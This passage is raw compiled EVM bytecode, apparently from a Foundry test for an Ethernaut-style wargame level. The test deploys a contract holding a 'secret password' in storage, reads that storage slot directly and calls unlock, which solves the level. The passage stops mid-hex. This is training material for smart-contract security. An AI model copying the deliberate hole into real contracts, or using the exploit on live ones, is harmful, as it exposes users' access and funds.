ffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156200041c575f80fd5b505af11580156200042f573d5f803e3d5ffd5b505050508060018151811062000449576200044962001fce565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620004fe575f80fd5b505af115801562000511573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200056c575f80fd5b505af11580156200057f573d5f803e3d5ffd5b50506022546200059b92506001600160a01b03169050620012fd565b6020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169190911790556040515f90620005d89062001b17565b604051809103905ff080158015620005f2573d5f803e3d5ffd5b506020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801562000653575f80fd5b505af115801562000666573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620006c5575f80fd5b505af1158015620006d8573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000733575f80fd5b505af115801562000746573d5f803e3d5ffd5b50506020546200076b92506001600160a01b031690508266038d7ea4c6800062000806565b60215f6101000a8154816001600160a01b0302191690836001600160a01b031602179055507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620007eb575f80fd5b505af1158015620007fe573d5f803e3d5ffd5b505050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562000862575f80fd5b505af115801562000875573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620008d5575f80fd5b505af1158015620008e8573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af11580156200094d573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200097691908101906200206f565b90508060018251620009899190620021ff565b815181106200099c576200099c62001fce565b60200260200101515f0151600281518110620009bc57620009bc62001fce565b60200260200101515f1c9150509392505050565b6060601680548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000a09575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa15801562000a92573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000abb919081019062002215565b90505f81848560405160200162000ad492919062002267565b60408051601f198184030181529082905262000af4929160200162002315565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb119062000b5890859060040162002347565b5f60405180830381865afa15801562000b73573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000b9c919081019062002215565b90505f62000be96040518060400160405280601081526020017f2e62797465636f64652e6f626a6563740000000000000000000000000000000081525083620019a390919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000d24578382905f5260205f2001805462000c92906200235b565b80601f016020809104026020016040519081016040528092919081815260200182805462000cc0906200235b565b801562000d0f5780601f1062000ce55761010080835404028352916020019162000d0f565b820191905f5260205f20905b81548152906001019060200180831162000cf157829003601f168201915b50505050508152602001906001019062000c72565b50505050815250508152602001906001019062000c20565b50505050905090565b6060601880548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b6060601780548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000ee657602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000e925790505b5050505050815250508152602001906001019062000e28565b60605f8267ffffffffffffffff81111562000f1e5762000f1e62001bf5565b60405190808252806020026020018201604052801562000f48578160200160208202803683370190505b5090505f5b8381101562001088575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000f95573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000fbb919062002395565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562001039575f80fd5b505af11580156200104c573d5f803e3d5ffd5b505050508083838151811062001066576200106662001fce565b6001600160a01b03909216602092830291909101909101525060010162000f4d565b5092915050565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620010e6575f80fd5b505af1158015620010f9573d5f803e3d5ffd5b5050602154604051630667f9d760e41b81526001600160a01b039091166004820152600160248201525f9250737109709ecfa91a80626ff3989d68f67f5b1dd12d915063667f9d7090604401602060405180830381865afa15801562001161573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620011879190620023b3565b6021546040517fec9b5b3a000000000000000000000000000000000000000000000000000000008152600481018390529192506001600160a01b03169063ec9b5b3a906024015f604051808303815f87803b158015620011e5575f80fd5b505af1158015620011f8573d5f803e3d5ffd5b50506020546021546200122593506200121f92506001600160a01b03918216911662001516565b62001a45565b50565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c578382905f5260205f200180546200126b906200235b565b80601f016020809104026020016040519081016040528092919081815260200182805462001299906200235b565b8015620012e85780601f10620012be57610100808354040283529160200191620012e8565b820191905f5260205f20905b815481529060010190602001808311620012ca57829003601f168201915b5050505050815260200190600101906200124b565b5f806040516200130d9062001b25565b604051809103905ff08015801562001327573d5f803e3d5ffd5b5090505f604051620013399062001b33565b604051809103905ff08015801562001353573d5f803e3d5ffd5b508483604051620013649062001b41565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff0801580156200139e573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b158015620013fd575f80fd5b505af115801562001410573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c575f8481526020908190206040805180820182526002860290920180546001600160a01b03168352600181018054835181870281018701909452808452939491938583019392830182828015620014fd57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020019060040190602082600301049283019260010382029150808411620014a95790505b505050505081525050815260200190600101906200143f565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562001572575f80fd5b505af115801562001585573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b158015620015e3575f80fd5b505af1158015620015f6573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af11580156200165a573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200168391908101906200206f565b90506001815111156200169b576001915050620016a0565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c578382905f5260205f20018054620016e9906200235b565b80601f016020809104026020016040519081016040528092919081815260200182805462001717906200235b565b8015620017665780601f106200173c5761010080835404028352916020019162001766565b820191905f5260205f20905b8154815290600101906020018083116200174857829003601f168201915b505050505081526020019060010190620016c9565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620017d2575f80fd5b505af1158015620017e5573d5f803e3d5ffd5b50506020546021546200181293506200180c92506001600160a01b03918216911662001516565b62001ac4565b565b6008545f9060ff16156200182c575060085460ff1690565b604051630667f9d760e41b8152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa158015620018a2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620018c89190620023b3565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b5f6200193c8243620023cb565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b158015620007eb575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be890620019fa9086908690600401620023e1565b5f60405180830381865afa15801562001a15573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001a3e919081019062002412565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562001aaa575f80fd5b505afa15801562001abd573d5f803e3d5ffd5b5050505050565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162001a93565b6105b1806200244983390190565b610ae580620029fa83390190565b611e7a80620034df83390190565b610daa806200535983390190565b6001600160a01b038116811462001225575f80fd5b5f805f6060848603121562001b77575f80fd5b833562001b848162001b4f565b9250602084013562001b968162001b4f565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001be95783516001600160a01b03168352928401929184019160010162001bc2565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001c2f5762001c2f62001bf5565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001c615762001c6162001bf5565b604052919050565b5f67ffffffffffffffff82111562001c855762001c8562001bf5565b50601f01601f191660200190565b5f6020828403121562001ca4575f80fd5b813567ffffffffffffffff81111562001cbb575f80fd5b8201601f8101841362001ccc575f80fd5b803562001ce362001cdd8262001c69565b62001c35565b81815285602083850101111562001cf8575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101562001d3157818101518382015260200162001d17565b50505f910152565b5f815180845262001d5281602086016020860162001d15565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b8481101562001e1a57603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b8181101562001e0357605f1988850301835262001df084865162001d39565b948d01949350918c019160010162001dd1565b505050968901969350509087019060010162001d8b565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b8381101562001ee857888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b8083101562001ed25783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a019062001e8e565b5096890196945050509086019060010162001e50565b509098975050505050505050565b5f6020828403121562001f07575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b8281101562001f6757603f1988860301845262001f5485835162001d39565b9450928501929085019060010162001f35565b5092979650505050505050565b5f6020828403121562001f85575f80fd5b813562001a3e8162001b4f565b5f806040838503121562001fa4575f80fd5b823562001fb18162001b4f565b9150602083013562001fc38162001b4f565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff82111562001ffe5762001ffe62001bf5565b5060051b60200190565b5f6200201862001cdd8462001c69565b90508281528383830111156200202c575f80fd5b62001a3e83602083018462001d15565b5f82601f8301126200204c575f80fd5b62001a3e8383516020850162002008565b80516200206a8162001b4f565b919050565b5f602080838503121562002081575f80fd5b825167ffffffffffffffff8082111562002099575f80fd5b818501915085601f830112620020ad575f80fd5b8151620020be62001cdd8262001fe2565b81815260059190911b83018401908481019088831115620020dd575f80fd5b8585015b83811015620021de57805185811115620020f9575f80fd5b86016060818c03601f190112156200210f575f80fd5b6200211962001c09565b88820151878111156200212a575f80fd5b8201603f81018d136200213b575f80fd5b898101516200214e62001cdd8262001fe2565b81815260059190911b8201604001908b8101908f8311156200216e575f80fd5b6040840193505b82841015620021905783518252928c0192908c019062002175565b8452505050604082015187811115620021a7575f80fd5b620021b78d8b838601016200203c565b8a83015250620021ca606083016200205d565b6040820152845250918601918601620020e1565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b81810381811115620016a057620016a0620021eb565b5f6020828403121562002226575f80fd5b815167ffffffffffffffff8111156200223d575f80fd5b8201601f810184136200224e575f80fd5b6200225f8482516020840162002008565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f8351620022a081600585016020880162001d15565b7f2e736f6c2f0000000000000000000000000000000000000000000000000000006005918401918201528351620022df81600a84016020880162001d15565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f83516200232881846020880162001d15565b8351908301906200233e81836020880162001d15565b01949350505050565b602081525f62001a3e602083018462001d39565b600181811c908216806200237057607f821691505b6020821081036200238f57634e487b7160e01b5f52602260045260245ffd5b50919050565b5f60208284031215620023a6575f80fd5b815162001a3e8162001b4f565b5f60208284031215620023c4575f80fd5b5051919050565b80820180821115620016a057620016a0620021eb565b604081525f620023f5604083018562001d39565b828103602084015262002409818562001d39565b95945050505050565b5f6020828403121562002423575f80fd5b815167ffffffffffffffff8111156200243a575f80fd5b6200225f848285016200203c56fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6105378061007a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b61008561008036600461035e565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d8366004610380565b61017a565b6040519015158152602001610099565b3480156100f8575f80fd5b5061007061010736600461035e565b6101e8565b61011461027d565b61011d5f6102d6565b565b5f807f412076657279207374726f6e67207365637265742070617373776f7264203a2990505f816040516101529061033d565b908152602001604051809103905ff080158015610171573d5f803e3d5ffd5b50949350505050565b5f80839050806001600160a01b031663cf3090126040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101bb573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101df91906103b7565b15949350505050565b6101f061027d565b6001600160a01b0381166102715760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b61027a816102d6565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610268565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61012b806103d783390190565b6001600160a01b038116811461027a575f80fd5b5f6020828403121561036e575f80fd5b81356103798161034a565b9392505050565b5f8060408385031215610391575f80fd5b823561039c8161034a565b915060208301356103ac8161034a565b809150509250929050565b5f602082840312156103c7575f80fd5b81518015158114610379575f80fdfe608060405234801561000f575f80fd5b5060405161012b38038061012b83398101604081905261002e91610043565b5f805460ff191660019081179091555561005a565b5f60208284031215610053575f80fd5b5051919050565b60c5806100665f395ff3fe6080604052348015600e575f80fd5b50600436106030575f3560e01c8063cf309012146034578063ec9b5b3a146053575b5f80fd5b5f54603f9060ff1681565b604051901515815260200160405180910390f35b6062605e3660046079565b6064565b005b80600154036076575f805460ff191690555b50565b5f602082840312156088575f80fd5b503591905056fea26469706673582212207b33413ba2b7819b53cd6dde86cd94fa6012a86e564954bd7fe304a301c4d31864736f6c63430008180033a26469706673582212209f9de7b0055679f686e363bf2e86ca6c69da9b2d77f3566564d3ebd2d691aadd64736f6c63430008180033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f861038c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e6020526040812054829060ff166104885760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b60448201526064015b60405180910390fd5b836104aa816001600160a01b03165f908152600f602052604090205460ff1690565b6104ec5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038481165f908152600d6020908152604080832089851684529091529020541661051d575f610546565b6001600160a01b038085165f908152600d60209081526040808320938916835292905220600301545b95945050505050565b5f546201000090046001600160a01b031633146105bc5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b816105de816001600160a01b03165f908152600f602052604090205460ff1690565b6106205760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b81610642816001600160a01b03165f908152600e602052604090205460ff1690565b6106855760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166107065760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146107905760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff161561080c5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600c6020908152604080832093881683529290529081205490036108df576001600160a01b0383165f90815260066020526040812080549161085c83611d99565b90915550506001600160a01b038084165f818152600c602090815260408083209489168352938152838220429055918152600690915290812054906108a2858784611b4e565b90508181866001600160a01b03167f18f89fb58208351d054bc0794e723a333ae0a74acd73825a9f31d89af0c6755160405160405180910390a450505b6001600160a01b038084165f908152600d6020908152604080832093881680845293825280832060038101805460018181018355918652848620429101819055600283015594845280547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055600a909152812090910180549161096983611d99565b909155505060048054905f61097d83611d99565b90915550506001600160a01b0383165f9081526008602052604081208054916109a583611d99565b91905055505050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610a115760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526006602052604090205490565b6001600160a01b0381165f908152600f6020526040812054829060ff16610a8c5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206001015490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b0b5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526008602052604090205490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b875760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526009602052604090205490565b5f546201000090046001600160a01b03163314610c105760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b81610c32816001600160a01b03165f908152600f602052604090205460ff1690565b610c745760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b0382165f908152600e602052604090205460ff16610d00576001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0385169081179091555f908152600e60205260409020805460ff191690911790555b6001600160a01b038281165f908152600d60209081526040808320878516845290915290205416610d53576001600160a01b038083165f908152600b602090815260408083209387168352929052204290555b6040805160a0810182526001600160a01b0380871682525f60208084018290524284860152606084018290528683168252600d815284822092881682529190915291822060030154909160808301919003610dbb57604080515f815260208101909152610e2b565b6001600160a01b038085165f908152600d6020908152604080832093891683529281529082902060030180548351818402810184019094528084529091830182828015610e2557602002820191905f5260205f20905b815481526020019060010190808311610e11575b50505050505b90526001600160a01b038084165f908152600d60209081526040808320888516845282529182902084518154868401511515600160a01b027fffffffffffffffffffffff00000000000000000000000000000000000000000090911691909516179390931783559083015160018301556060830151600283015560808301518051610ebc9260038501920190611c33565b5050506001600160a01b0383165f908152600a60205260408120805491610ee283611d99565b909155505060038054905f610ef683611d99565b90915550506001600160a01b0382165f908152600760205260408120805491610f1e83611d